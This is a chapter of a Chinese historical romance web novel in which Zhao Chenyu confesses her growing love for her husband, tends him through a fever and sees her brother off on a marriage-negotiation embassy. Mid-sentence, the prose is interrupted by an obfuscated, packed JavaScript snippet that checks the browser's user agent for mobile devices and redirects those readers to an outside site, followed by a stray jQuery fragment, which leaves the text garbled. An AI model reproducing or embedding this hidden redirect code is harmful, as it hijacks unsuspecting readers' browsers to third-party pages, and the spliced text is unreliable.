65. 我好像有点喜欢他了
作品:《将军他娶了反贼娘子》 许是清心寡欲的道士做久了,赵存真身上总沾着那么点儿恬淡无为的气息,十一年前的那场鏖战,耗尽了当年那个意气风发、凌霄之志的南凌太子的所有气血,如今只留给他一具温驯的皮囊。
自知劝不住她,他饶是失意地垂下眸,由着她去。
赵宸玉赌着气回了自己的院子,快到屋前却停下了脚步。里面掌着灯,宁淮川还在等她。
苓儿守在她一侧,手里提了只暗沉沉的油灯。赵宸玉盯着房里透出的些许光亮,蓦地生出些道不明的怆然。她抬起手从几缕青丝间取下一直青玉簪,是宁淮川送她的那支,这么久以来,她还是最喜欢戴这支。借着微光,她的眼神落在上面,任由爱意滋长。
“我好像有点喜欢他了。”
她嘴巴微微张了张,吐出的几个字不太清晰,苓儿却轻而易举地听懂了她。
“因为夫人从来都是有情有义的人,苓儿和所有愿意跟着夫人的人,都清楚这一点。姑爷待我们那么好,若是还换不来夫人的真心,那可真是有违天道的事了。况且苓儿觉得,喜欢他没有错,夫人不用为此自责。”
“没有错么?”
“爱与恨,情与仇,本来就不冲突。人心里面的东西,是分不出是非对错的。”
赵宸玉愕然,想不到一个不谙世事的小丫头,嘴里能说出这样的话。胸中郁结的忧悒之气也纾解不少,她若有所思地点点头,随后又装作无事发生似的进了屋。
宁淮川还未宽衣,就着白日那身润白色衣衫躺在榻上,一卷翻开的兵书盖着脸,脚上的靴子一高一低地蹬着床尾栏杆。
赵宸玉一见他这幅模样,方才的那点眷恋霎时间化为乌有。
“宁淮川!谁许你不脱鞋就上床!”
她双手叉腰,什么端方贤淑,什么温柔可人全都抛在了脑后,怒冲冲地吼了他一句便大步流星走过去,一把扯住他耷拉下来的一条手臂,气鼓鼓道:“快给我起来!”
“夫人,别闹......”宁淮川懒洋洋地哼唧了一句,非但没有起来的意思,还顺势翻了个身。
苓儿和雪禾听到动静赶过来,见她像只炸毛的小狸花猫似的,瞪着双圆鼓鼓的眼睛看着榻上熟睡那人。
雪禾忙上前一步解释:“夫人,方才奴婢等是要伺候将军洗漱的,可是将军说他不舒服,想先自己休息一下。”
“不舒服?”
赵宸玉隆起几个包的眉心更加用力地耸了耸,接着便坐到他身侧,探出手覆上他的额头。果然有些发热,她不禁心软,忙叫苓儿过来给他诊脉。
苓儿搭过脉,松口气道:“夫人,将军倒是无大碍,许是近日事太多,忧思过重,有些劳累了,待我开副药,吃上几日便好。”
在苓儿看诊的间隙,宁淮川也迷迷糊糊地醒了过来。生病的人总是多愁善感,放到宁淮川这样顶天立地的大男人身上也不例外,这会儿他看着自己身边的赵宸玉,也不知从哪儿冒出来一阵委屈,发烫的手指粘人地勾上了她的手指。
赵宸玉正听苓儿说着病情,忽感掌心一阵温热,才绷着脸转过来看他。
“都多大的人了,连生病叫大夫这种事也不懂吗?”她不禁嗔怪。
宁淮川没说话,只是轻轻地晃了晃她的手,像是在服软。
赵宸玉叹口气,叫人都退去后,才冷着脸,一件一件剥开他缠在身上的衣衫,宁淮川也乖乖地,任由她将自己翻过来,折过去,像断了手脚一般,直到她拉开被褥躺下,他才挪了挪身子,将她抱紧。
赵宸玉虽没抗拒,内心却是如同被荆棘缠绕住一般,一边被它刺得血流成河,一边用尽全力也解不开它,仿佛只有眼睁睁看着血流尽了方能解脱一般。
可她明白,血海深仇,是解不开的。
--
翌日,城门口。
朝堂之上最不缺的便是见风使舵之人,太子现已禁足,而英王则担了前往北旻议亲的重担,这种变化也在不少人心中被放大,于是前来为英王送行的队伍便悄无声息地壮大了不少。
赵宸玉觉得有些好笑,但这正是她想看到的结果。郯国多年来唯太子一家独大,她势单力薄,若是与他硬碰硬,必然吃亏,好在她的计划颇有成效,一个云州,引得萧丞相为她做了马前卒,现在他根基受损,原本抱作一团的朝中众臣渐渐有了裂痕,现在她要做的,就是趁他自顾不暇之时,趁胜追击,一举扳倒他。
而李谦的倒戈,便是她计划中最有力的助力。
她随着宁淮川站在送行队伍里,心却飘飘然到了云州,直到赵存真摸了摸她的头,她才回过神。
“玉儿,此番我随英王殿下去北境,回来时怕是要入冬了,我不在身边,你要好好听妹夫的话,已经作人妇了,不要只顾着玩,要照顾好一家老小,知道吗?”
赵宸玉扁扁嘴,眼眶瞬间染红,昨晚和哥哥吵了几句,这会儿她心中除了懊悔就是懊悔。
她点点头:“我知道了兄长,北旻人狡诈,兄长可要多多提防,还有,那边不比这里,吃的用的想必十分简陋,兄长要注意休息,可别累病了。”
宁淮川在一旁插话:“夫人别太担心了,即便是战时,北旻也未曾苛待过我方来使,更别说此次是去议亲了。况且我的拓羽军还守在边境,若是真有不测,拓羽军也会保护好兄长的。”
赵宸玉这才稍稍放心,冲着他点点头。
“呜呜~呜呜~”
不远处忽然传来几声呜咽,几人闻声看过去,却赫然发觉这声音的来源竟是瞿衙内。只见他一头扑进母亲怀里,跟个长不大的孩子似的,一边抽噎一边掉金豆,这画面倒是滑稽的很。
英王站在一旁显得有些手足无措,踌躇良久才拍拍他的背:“你要是舍不得走要不就不走了,反正也没人强求......”
谁料,他话还未说完,瞿衙内便嗖地一下弹起,撅着嘴道:“那怎么行,本衙内说了要走就一定要走,我只是哭会儿,又不是反悔了。”
英王哭笑不得,同样掉着眼泪的瞿夫人只好尴尬地笑笑:“殿下见怪了,这孩子从小没离开过京城,现在忽然要去这么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781167|166512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远的地方,自然有些舍不得。”
宁淮川见他哭天抢地的模样,忽然生出种恨铁不成钢的感觉,他几步上前,提着他衣领将他从娘亲怀里拖出来。
“衙内如今几岁了?个头都快有我高了还哭?我看这次带你去北旻是去对了,早该让你出去磨砺磨砺,省得叫人笑话。”
“谁?谁敢笑话本衙内?不离兄你真是的,我都要走了你还这么凶我。”瞿衙内抹了抹泪,愤愤不平道。
“凶你怎么了?若不是今日人多我还得揍你一顿,堂堂七尺男儿,出个远门还哭鼻子,要是传出去,我看哪家小娘子愿意嫁你。”
“哎你......”
“宁将军说得好!这小兔崽子被他娘娇惯得不成样子,早就该好好收拾一顿了。”
太常寺卿忽然出言,说着还顺带瞪了瞿衙内一眼。作为太常寺卿,他平日公务繁忙,可送儿子出行还是一定要来的,只是自己那老来得子的宝贝儿子当着那么多人的面,还抱着娘不撒手,着实叫他气不打一处来,平日他想管教,可又被家里夫人处处护着,这会宁淮川看不过眼,替他出手教训,倒正中他下怀。
宁淮川:“大人言重了,是淮川僭越。”
“哪里哪里。”
“......”
赵宸玉远远看着他们,心头忽然涌出一阵酸楚,曾经,她也是家里最受宠的孩子,父皇母后还有皇兄,把全部的爱都给了她,那时的她也像现在的瞿衙内似的,自由自在,无忧无虑。
赵存真看出了她的心思,又轻轻摸了摸她的头:“不用羡慕别人,哥哥现在也一样爱你。”
她垂下头,悄悄擦了擦眼角的泪,笑道:“嗯,玉儿知道的。”
启程的时刻终是到了,纵是不舍,她也不得不看着他跨上马,一点点消失在视线中。宁淮川见她挂着两串泪珠,久久不肯离开,只好轻揽过她,温柔地蹭蹭她额头。
“若是兄长和为夫同时掉进水里了,夫人先救谁?”
哈?赵宸玉本来还沉浸在分别的悲伤中,忽然被他无厘头地一问,当下被逗笑。
她没好气地抬眼瞥了他一眼:“我兄长会水。”
“假若他不会呢?夫人是不是要先救他?”
赵宸玉换了个一言难尽的表情,将手放到他额头上:“啧,宁淮川,你是昨日发烧烧傻了?吃哪门子的醋啊?”
“我就是想知道我在你心里,是不是没有兄长重要?”他也扁扁嘴,半是撒娇地看着她。
赵宸玉被他弄得哭笑不得,只好咧咧嘴角,冲他眨巴了几下眼睛:“自然是夫君重要。但若是兄长问我这个问题,我就会说是兄长重要。”
宁淮川气得咬牙切齿:“赵宸玉,我就知道你是墙头草。”
气氛终于多了几分活跃,赵宸玉故意逗他,殊不知自己早已被他逗笑,二人一边拌嘴一边紧紧牵起手,朝府里走去。
街上又恢复了往日的热闹景象,街头巷尾挤满了摊贩与逛街的人,喧闹中一个熟悉的身影却暗暗出现在一个不起眼的角落。